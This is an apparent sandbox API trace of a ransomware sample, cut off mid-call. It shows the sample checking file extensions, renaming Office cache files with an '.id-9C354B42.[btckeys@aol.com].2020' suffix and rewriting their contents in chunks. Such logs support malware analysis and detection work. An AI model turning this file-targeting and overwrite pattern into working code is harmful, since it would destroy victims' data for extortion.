[0074.513] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0074.513] lstrlenW (lpString=".7z") returned 3 [0074.513] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0074.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.514] lstrlenW (lpString=".dbf") returned 4 [0074.514] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0074.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.514] lstrlenW (lpString=".1cd") returned 4 [0074.514] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0074.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0074.514] lstrlenW (lpString=".jpg") returned 4 [0074.514] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0074.514] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0074.514] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0074.514] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0074.514] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=3124224) returned 1 [0074.514] CloseHandle (hObject=0x1b0) returned 1 [0074.515] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0074.515] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.515] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0074.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0074.516] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0074.516] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0074.516] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.562] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0074.562] ReadFile (in: hFile=0x1b0, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.582] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0074.582] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0074.582] ReadFile (in: hFile=0x1b0, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.609] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.609] WriteFile (in: hFile=0x1b0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0075.072] SetEndOfFile (hFile=0x1b0) returned 1 [0075.072] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f54fa0 [0075.075] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0075.075] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.076] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0075.077] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.083] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0075.083] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.085] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f54fa0 | out: hHeap=0x4b0000) returned 1 [0075.085] CloseHandle (hObject=0x1b0) returned 1 [0075.469] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0075.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.470] lstrlenW (lpString=".doc") returned 4 [0075.470] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0075.470] lstrlenW (lpString=".docx") returned 5 [0075.470] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0075.470] lstrlenW (lpString=".pdf") returned 4 [0075.470] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0075.470] lstrlenW (lpString=".xls") returned 4 [0075.470] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0075.470] lstrlenW (lpString=".xlsx") returned 5 [0075.470] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0075.470] lstrlenW (lpString=".ppt") returned 4 [0075.470] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0075.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.470] lstrlenW (lpString=".zip") returned 4 [0075.470] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0075.470] lstrlenW (lpString=".rar") returned 4 [0075.470] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0075.470] lstrlenW (lpString=".bz2") returned 4 [0075.470] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0075.470] lstrlenW (lpString=".7z") returned 3 [0075.470] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0075.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.470] lstrlenW (lpString=".dbf") returned 4 [0075.470] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0075.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.471] lstrlenW (lpString=".1cd") returned 4 [0075.471] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0075.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.471] lstrlenW (lpString=".jpg") returned 4 [0075.471] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0075.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.471] lstrlenW (lpString=".doc") returned 4 [0075.471] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0075.471] lstrlenW (lpString=".docx") returned 5 [0075.471] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0075.471] lstrlenW (lpString=".pdf") returned 4 [0075.471] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0075.471] lstrlenW (lpString=".xls") returned 4 [0075.471] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0075.471] lstrlenW (lpString=".xlsx") returned 5 [0075.471] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0075.471] lstrlenW (lpString=".ppt") returned 4 [0075.471] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0075.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.471] lstrlenW (lpString=".zip") returned 4 [0075.471] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0075.471] lstrlenW (lpString=".rar") returned 4 [0075.472] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0075.472] lstrlenW (lpString=".bz2") returned 4 [0075.472] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0075.472] lstrlenW (lpString=".7z") returned 3 [0075.472] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0075.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.472] lstrlenW (lpString=".dbf") returned 4 [0075.472] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0075.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.472] lstrlenW (lpString=".1cd") returned 4 [0075.472] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0075.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0075.472] lstrlenW (lpString=".jpg") returned 4 [0075.472] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0075.472] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0075.472] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0075.472] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0075.473] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2503680) returned 1 [0075.473] CloseHandle (hObject=0x1b0) returned 1 [0075.473] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0075.473] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.473] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0075.475] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0075.475] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0075.475] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0075.475] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.479] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0075.480] ReadFile (in: hFile=0x1b0, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.492] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0075.492] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0075.492] ReadFile (in: hFile=0x1b0, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.704] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0075.704] WriteFile (in: hFile=0x1b0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0075.718] SetEndOfFile (hFile=0x1b0) returned 1 [0075.719] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f54fa0 [0075.876] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0075.876] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.879] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0075.879] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.886] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0075.886] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.889] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f54fa0 | out: hHeap=0x4b0000) returned 1 [0075.889] CloseHandle (hObject=0x1b0) returned 1 [0075.889] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0075.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.889] lstrlenW (lpString=".doc") returned 4 [0075.889] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0075.889] lstrlenW (lpString=".docx") returned 5 [0075.889] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0075.890] lstrlenW (lpString=".pdf") returned 4 [0075.890] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0075.890] lstrlenW (lpString=".xls") returned 4 [0075.890] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0075.890] lstrlenW (lpString=".xlsx") returned 5 [0075.890] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0075.890] lstrlenW (lpString=".ppt") returned 4 [0075.890] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0075.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.890] lstrlenW (lpString=".zip") returned 4 [0075.890] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0075.890] lstrlenW (lpString=".rar") returned 4 [0075.890] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0075.937] lstrlenW (lpString=".bz2") returned 4 [0075.937] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0075.937] lstrlenW (lpString=".7z") returned 3 [0075.937] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0075.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.937] lstrlenW (lpString=".dbf") returned 4 [0075.937] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0075.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.937] lstrlenW (lpString=".1cd") returned 4 [0075.937] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0075.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.937] lstrlenW (lpString=".jpg") returned 4 [0075.937] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0075.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.938] lstrlenW (lpString=".doc") returned 4 [0075.938] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0075.938] lstrlenW (lpString=".docx") returned 5 [0075.938] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0075.938] lstrlenW (lpString=".pdf") returned 4 [0075.938] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0075.938] lstrlenW (lpString=".xls") returned 4 [0075.938] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0075.938] lstrlenW (lpString=".xlsx") returned 5 [0075.938] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0075.938] lstrlenW (lpString=".ppt") returned 4 [0075.938] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0075.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.938] lstrlenW (lpString=".zip") returned 4 [0075.938] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0075.938] lstrlenW (lpString=".rar") returned 4 [0075.938] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0075.938] lstrlenW (lpString=".bz2") returned 4 [0075.938] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0075.938] lstrlenW (lpString=".7z") returned 3 [0075.938] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0075.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.938] lstrlenW (lpString=".dbf") returned 4 [0075.938] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0075.938] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.938] lstrlenW (lpString=".1cd") returned 4 [0075.938] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0075.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.939] lstrlenW (lpString=".jpg") returned 4 [0075.939] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0075.939] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0075.939] lstrlenW (lpString="GrooveLR.cab") returned 12 [0075.939] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0075.939] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=4095519) returned 1 [0075.939] CloseHandle (hObject=0x1b0) returned 1 [0075.940] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0075.940] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.940] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0075.940] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0075.941] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0075.941] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0075.941] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.001] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0076.001] ReadFile (in: hFile=0x1b0, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.010] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0076.010] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0076.010] ReadFile (in: hFile=0x1b0, 